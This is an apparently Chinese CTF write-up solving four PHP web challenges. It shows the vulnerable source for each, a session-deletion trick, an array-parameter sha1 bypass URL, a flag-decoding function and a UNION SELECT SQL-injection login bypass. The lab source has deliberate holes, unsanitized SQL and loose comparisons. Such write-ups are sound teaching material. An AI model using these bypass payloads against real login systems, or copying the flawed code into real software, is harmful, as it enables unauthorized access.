【实验吧】guess next session&&FALSE&&NSCTF web200&&程序逻辑问题

时间:2023-03-09 13:36:05
【实验吧】guess next session&&FALSE&&NSCTF web200&&程序逻辑问题

guess next session源码:

<?php
session_start();
if (isset ($_GET['password'])) {
if ($_GET['password'] == $_SESSION['password'])
die ('Flag: '.$flag);
else
print '<p>Wrong guess.</p>';
} mt_srand((microtime() ^ rand(1, 10000)) % rand(1, 10000) + rand(1, 10000));
?>

要求password=session时,输出flag,所以设置session值为0,提交password为0时可以成功

bp抓包出了问题,

【实验吧】guess next session&&FALSE&&NSCTF web200&&程序逻辑问题

右键删除PHPSESSID,空白密码提交,就出来了:

【实验吧】guess next session&&FALSE&&NSCTF web200&&程序逻辑问题

 FALSE:

<?php
if (isset($_GET['name']) and isset($_GET['password'])) {
if ($_GET['name'] == $_GET['password'])
echo '<p>Your password can not be your name!</p>';
else if (sha1($_GET['name']) === sha1($_GET['password']))
die('Flag: '.$flag);
else
echo '<p>Invalid password.</p>';
}
else{
echo '<p>Login first!</p>';
?>

name!=password,但sha1后name=password时,可以成功

补充:sha1漏洞

md5 和 sha1 无法处理数组,返回 NULL

if (@sha1([]) ==  false)
echo 1;
if (@md5([]) == false)
echo 2;
echo var_dump(@sha1([]));

md5和sha1无法处理数组,所以可以设置为数组,得sha1值都为Null,于是构造:

http://ctf5.shiyanbar.com/web/false.php?name[]=1&password[]=2

注意,name!=password,取值要不同

【实验吧】guess next session&&FALSE&&NSCTF web200&&程序逻辑问题

 NSCTF web200

打开图片就是把给出的字符串逆着解码 ,于是逆着原来的编码进行解码:

 <?php
function decode($str)
{
$_=''; $a=base64_decode(strrev(str_rot13($str)));
for($i=0;$i<strlen($a);$i++)
{
$_c=substr($a,$i,1);
$__=ord($_c)-1;
$_c=chr($__);
$_=$_.$_c;
}
return strrev($_);
}
print decode("a1zLbgQsCESEIqRLwuQAyMwLyq2L5VwBxqGA3RQAyumZ0tmMvSGM2ZwB4tws");//解码得flag ?>

得到flag:

【实验吧】guess next session&&FALSE&&NSCTF web200&&程序逻辑问题

 程序逻辑问题:

看一下源码:

<html>
<head>
welcome to simplexue
</head>
<body>
<?php if($_POST[user] && $_POST[pass]) {
$conn = mysql_connect("********, "*****", "********");
mysql_select_db("phpformysql") or die("Could not select database");
if ($conn->connect_error) {
die("Connection failed: " . mysql_error($conn));
}
$user = $_POST[user];//输入的用户名
$pass = md5($_POST[pass]);//输入密码的md5密文 $sql = "select pw from php where user='$user'";//从php表中检索用户登陆时输入的用户名的密码(pw列)
$query = mysql_query($sql);//执行sql变量的SQL语句
if (!$query) {
printf("Error: %s\n", mysql_error($conn));
exit();
}
$row = mysql_fetch_array($query, MYSQL_ASSOC);//声明row变量是把sql变量的SQL语句执行后返回的结果转换为数组
//echo $row["pw"]; if (($row[pw]) && (!strcasecmp($pass, $row[pw]))) {
echo "<p>Logged in! Key:************** </p>";//如果row变量中pw的内容和用户登陆时输入的密码的MD5密码相同,则输出“Logged in!”并输出key
}
else {
echo("<p>Log in failure!</p>"); } } ?>
<form method=post action=index.php>
<input type=text name=user value="Username">
<input type=password name=pass value="Password">
<input type=submit>
</form>
</body>
<a href="index.txt">
</html>

通过上述对代码的分析,因此,我们只需要让输入的密码的MD5密文和数据库检索出来的密码匹配就可以绕过验证,得到key

于是注入:

xxx' and 0=1 union select "C4CA4238A0B923820DCC509A6F75849B" # 密码输入1

输出flag:

【实验吧】guess next session&&FALSE&&NSCTF web200&&程序逻辑问题